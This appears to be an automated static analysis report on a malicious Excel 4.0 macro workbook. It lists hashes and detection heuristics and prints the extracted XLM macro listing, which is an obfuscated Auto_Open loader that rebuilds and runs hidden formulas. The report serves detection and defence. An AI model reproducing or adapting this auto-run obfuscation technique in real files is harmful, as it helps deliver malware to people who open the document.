Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24c474e3fd572444…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:28:46 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 148781e01aa2a8ae44a699160e6db578 SHA-1: 6b255365c3f1e1776f028e2a351f02f045093cf5 SHA-256: 24c474e3fd57244459d32bdb92fd9a52ea8ca490e78ad4cfa7df4afa1b09428b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6564 bytes
SHA-256: 50a9a49f184dc66699941abc8c998eccfabf3afd401169aee8b4e188d91713e0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tLJmXyeAN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G195 
' 0018     21 LABEL : Cell Value, String Constant - bTehUq len=0 
' 0018     25 LABEL : Cell Value, String Constant - BVIcTRRqZQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - DjRmu len=0 
' 0018     20 LABEL : Cell Value, String Constant - eDIun len=0 
' 0018     23 LABEL : Cell Value, String Constant - FfUQAduT len=0 
' 0018     21 LABEL : Cell Value, String Constant - FyIIgW len=0 
' 0018     25 LABEL : Cell Value, String Constant - hdlSeOSaas len=0 
' 0018     21 LABEL : Cell Value, String Constant - hmGWXM len=0 
' 0018     26 LABEL : Cell Value, String Constant - KAZJORoEYlp len=0 
' 0018     23 LABEL : Cell Value, String Constant - mfxwTaXo len=0 
' 0018     20 LABEL : Cell Value, String Constant - PDObY len=0 
' 0018     20 LABEL : Cell Value, String Constant - qlmrO len=0 
' 0018     27 LABEL : Cell Value, String Constant - RjHkhVeWQNog len=0 
' 0018     24 LABEL : Cell Value, String Constant - rRkCFwRaF len=0 
' 0018     25 LABEL : Cell Value, String Constant - SbEvamPsVW len=0 
' 0018     24 LABEL : Cell Value, String Constant - SIVkQrspP len=0 
' 0018     24 LABEL : Cell Value, String Constant - TIwsklGXX len=0 
' 0018     25 LABEL : Cell Value, String Constant - uVEDPrnjvY len=0 
' 0018     22 LABEL : Cell Value, String Constant - vUtUAyW len=0 
' 0018     25 LABEL : Cell Value, String Constant - YGFBQIGpGI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tLJmXyeAN,G103,"SET.NAME("uVEDPrnjvY",VALUE("0"))",""
'  tLJmXyeAN,G107,"SET.NAME("DjRmu",uVEDPrnjvY)",""
'  tLJmXyeAN,G109,"SET.NAME("vUtUAyW",uVEDPrnjvY)",""
'  tLJmXyeAN,G111,"SET.NAME("TIwsklGXX",COUNTA(bTehUq))",""
'  tLJmXyeAN,G114,"SET.NAME("qlmrO",COUNTA(FfUQAduT))",""
'  tLJmXyeAN,G118,[],""
'  tLJmXyeAN,G121,"SET.NAME("hdlSeOSaas","")",""
'  tLJmXyeAN,G124,"DjRmu",""
'  tLJmXyeAN,G128,"SET.NAME("PDObY",HLOOKUP("*",bTehUq,DjRmu,FALSE))",""
'  tLJmXyeAN,G131,"hmGWXM",""
'  tLJmXyeAN,G135,"SET.NAME("BVIcTRRqZQ",uVEDPrnjvY)",""
'  tLJmXyeAN,G140,[],""
'  tLJmXyeAN,G145,"BVIcTRRqZQ",""
'  tLJmXyeAN,G149,"eDIun",""
'  tLJmXyeAN,G151,"KAZJORoEYlp",""
'  tLJmXyeAN,G153,"FyIIgW",""
'  tLJmXyeAN,G157,"SET.NAME("RjHkhVeWQNog",VALUE(HLOOKUP("*",FfUQAduT,FyIIgW,FALSE)))",""
'  tLJmXyeAN,G162,"mfxwTaXo",""
'  tLJmXyeAN,G167,"hdlSeOSaas",""
'  tLJmXyeAN,G169,"vUtUAyW",""
'  tLJmXyeAN,G172,NEXT(),""
'  tLJmXyeAN,G177,"SbEvamPsVW",""
'  tLJmXyeAN,G182,"SET.NAME("f",INT(T(FORMULA(T(hdlSeOSaas)&"",""&T(SbEvamPsVW)))))",""
'  tLJmXyeAN,G184,"YGFBQIGpGI",""
'  tLJmXyeAN,G186,NEXT(),""
'  tLJmXyeAN,G191,RETURN(),""
'  tLJmXyeAN,G222,"SET.NAME("rRkCFwRaF",G103)",""
'  tLJmXyeAN,G225,"bTehUq",""
'  tLJmXyeAN,G227,"SET.NAME("FfUQAduT",R69C14)",""
'  tLJmXyeAN,G230,"SET.NAME("YGFBQIGpGI",236)",""
'  tLJmXyeAN,G232,"SET.NAME("SIVkQrspP",7)",""
'  tLJmXyeAN,G235,rRkCFwRaF(),""
'  tLJmXyeAN,G236,HALT(),""

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